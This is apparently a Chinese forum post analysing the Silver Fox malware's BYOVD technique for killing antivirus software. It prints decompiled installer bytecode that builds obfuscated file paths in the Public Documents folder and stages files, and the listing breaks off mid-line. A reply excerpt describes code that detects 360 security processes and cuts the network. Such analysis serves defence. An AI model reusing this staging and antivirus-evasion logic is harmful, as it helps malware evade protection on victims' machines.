主题:持续演进的银狐——不断增加脆弱驱动通过BYOVD结束防病毒软件
z3960发表于 2026-02-21 07:49
9assign Var9[0], S32(67)assign Var9[1], S32(58)assign Var9[2], S32(92)assign Var9[3], S32(85)assign Var9[4], S32(115)assign Var9[5], S32(101)assign Var9[6], S32(114)assign Var9[7], S32(115)assign Var9[8], S32(92)assign Var9[9], S32(80)assign Var9[10], S32(117)assign Var9[11], S32(98)assign Var9[12], S32(108)assign Var9[13], S32(105)assign Var9[14], S32(99)assign Var9[15], S32(92)assign Var9[16], S32(68)assign Var9[17], S32(111)assign Var9[18], S32(99)assign Var9[19], S32(117)assign Var9[20], S32(109)assign Var9[21], S32(101)assign Var9[22], S32(110)assign Var9[23], S32(116)assign Var9[24], S32(115)assign Var9[25], S32(92)assign Var9[26], S32(120)assign Var9[27], S32(56)assign Var9[28], S32(54)assign Var9[29], S32(45)assign Var9[30], S32(77)assign Var9[31], S32(105)assign Var9[32], S32(99)assign Var9[33], S32(114)assign Var9[34], S32(111)assign Var9[35], S32(115)assign Var9[36], S32(111)assign Var9[37], S32(102)assign Var9[38], S32(116)assign Var9[39], S32(45)assign Var9[40], S32(87)assign Var9[41], S32(105)assign Var9[42], S32(110)assign Var9[43], S32(100)assign Var9[44], S32(111)assign Var9[45], S32(119)assign Var9[46], S32(115)assign Var9[47], S32(100)assign Var9[48], S32(97)assign Var9[49], S32(116)assign Var9[50], S32(97)assign Var8, Var9pop ; StackCount = 8pushvar Var2 ; StackCount = 9call STRFROMCODEpop ; StackCount = 8pop ; StackCount = 7pushtype Type30 ; StackCount = 8pushtype Type30 ; StackCount = 9pushtype S32 ; StackCount = 10assign Var10, S32(36)pushvar Var9 ; StackCount = 11call SETARRAYLENGTHpop ; StackCount = 10pop ; StackCount = 9assign Var9[0], S32(67)assign Var9[1], S32(58)assign Var9[2], S32(92)assign Var9[3], S32(85)assign Var9[4], S32(115)assign Var9[5], S32(101)assign Var9[6], S32(114)assign Var9[7], S32(115)assign Var9[8], S32(92)assign Var9[9], S32(80)assign Var9[10], S32(117)assign Var9[11], S32(98)assign Var9[12], S32(108)assign Var9[13], S32(105)assign Var9[14], S32(99)assign Var9[15], S32(92)assign Var9[16], S32(68)assign Var9[17], S32(111)assign Var9[18], S32(99)assign Var9[19], S32(117)assign Var9[20], S32(109)assign Var9[21], S32(101)assign Var9[22], S32(110)assign Var9[23], S32(116)assign Var9[24], S32(115)assign Var9[25], S32(92)assign Var9[26], S32(83)assign Var9[27], S32(101)assign Var9[28], S32(114)assign Var9[29], S32(118)assign Var9[30], S32(101)assign Var9[31], S32(114)assign Var9[32], S32(46)assign Var9[33], S32(108)assign Var9[34], S32(111)assign Var9[35], S32(103)assign Var8, Var9pop ; StackCount = 8pushvar Var3 ; StackCount = 9call STRFROMCODEpop ; StackCount = 8pop ; StackCount = 7pushtype WideString ; StackCount = 8assign Var8, Var2pushtype UnicodeString_2 ; StackCount = 9pushtype Type30 ; StackCount = 10pushtype Type30 ; StackCount = 11pushtype S32 ; StackCount = 12assign Var12, S32(11)pushvar Var11 ; StackCount = 13call SETARRAYLENGTHpop ; StackCount = 12pop ; StackCount = 11assign Var11[0], S32(92)assign Var11[1], S32(83)assign Var11[2], S32(101)assign Var11[3], S32(114)assign Var11[4], S32(118)assign Var11[5], S32(101)assign Var11[6], S32(114)assign Var11[7], S32(46)assign Var11[8], S32(108)assign Var11[9], S32(111)assign Var11[10], S32(103)assign Var10, Var11pop ; StackCount = 10pushvar Var9 ; StackCount = 11call STRFROMCODEpop ; StackCount = 10pop ; StackCount = 9add Var8, Var9pop ; StackCount = 8assign Var4, Var8pop ; StackCount = 7pushtype BOOLEAN ; StackCount = 8pushtype UnicodeString_2 ; StackCount = 9assign Var9, Var2pushvar Var8 ; StackCount = 10call FORCEDIRECTORIESpop ; StackCount = 9pop ; StackCount = 8pop ; StackCount = 7pushtype BOOLEAN ; StackCount = 8pushtype UnicodeString_2 ; StackCount = 9assign Var9, Var3pushvar Var8 ; StackCount = 10call FILEEXISTSpop ; StackCount = 9pop ; StackCount = 8sfz Var8pop ; StackCount = 7jf loc_435apushtype BOOLEAN ; StackCount = 8pushtype UnicodeString_2 ; StackCount = 9assign Var9, Var4pushvar Var8 ; StackCount = 10call FILEEXISTSpop ; StackCount = 9pop ; StackCount = 8sfz Var8pop ; StackCount = 7jf loc_4326pushtype BOOLEAN ; StackCount = 8pushtype UnicodeString_2 ; StackCount = 9assign Var9, Var4pushvar Var8 ; StackCount = 10call DELETEFILEpop ; StackCount = 9pop ; StackCount = 8pop ; StackCount = 7loc_4326:pushtype BOOLEAN ; StackCount = 8pushtype UnicodeString_2 ; StackCount = 9assign Var9, Var4pushtype UnicodeString_2 ; StackCount = 10assign Var10, Var3pushvar Var8 ; StackCount = 11call RENAMEFILEpop ; StackCount = 10pop ; StackCount = 9pop ; StackCount = 8pop ; StackCount = 7loc_435a:pushtype WideString ; StackCount = 8pushtype UnicodeString_2 ; StackCount = 9pushtype Type30 ; StackCount = 10pushtype Type30 ; StackCount = 11pushtype S32 ; StackCount = 12assign Var12, S32(26)pushvar Var11 ; StackCount = 13call SETARRAYLENGTHpop ; StackCount = 12pop ; StackCount = 11assign Var11[0], S32(67)assign Var11[1], S32(58)assign Var11[2], S32(92)assign Var11[3], S32(85)assign Var11[4], S32(115)assign Var11[5], S32(101)assign Var11[6], S32(114)assign Var11[7], S32(115)assign Var11[8], S32(92)assign Var11[9], S32(80)assign Var11[10], S32(117)assign Var11[11], S32(98)assign Var11[12], S32(108)assign Var11[13], S32(105)assign Var11[14], S32(99)assign Var11[15], S32(92)assign Var11[16], S32(68)assign Var11[17], S32(111)assign Var11[18], S32(99)assign Var11[19], S32(117)assign Var11[20], S32(109)assign Var11[21], S32(101)assign Var11[22], S32(110)assign Var11[23], S32(116)assign Var11[24], S32(115)assign Var11[25], S32(92)assign Var10, Var11pop ; StackCount = 10pushvar Var9 ; StackCount = 11call STRFROMCODEpop ; StackCount = 10pop ; StackCount = 9assign Var8, Var9pop ; StackCount = 8pushtype UnicodeString_2 ; StackCount = 9pushtype Type30 ; StackCount = 10pushtype Type30 ; StackCount = 11pushtype S32 ; StackCount = 12assign Var12, S32(9)pushvar Var11 ; StackCount = 13call SETARRAYLENGTHpop ; StackCount = 12pop ; StackCount = 11assign Var11[0], S32(115)assign Var11[1], S32(101)assign Var11[2], S32(116)assign Var11[3], S32(117)assign Var11[4], S32(112)assign Var11[5], S32(46)assign Var11[6], S32(101)assig
回帖(7):
该函数会检测360主防进程——若存在,则执行断网,具体如下:该函数会调用代码中的“IS360PROCES ..
全部回帖(7)»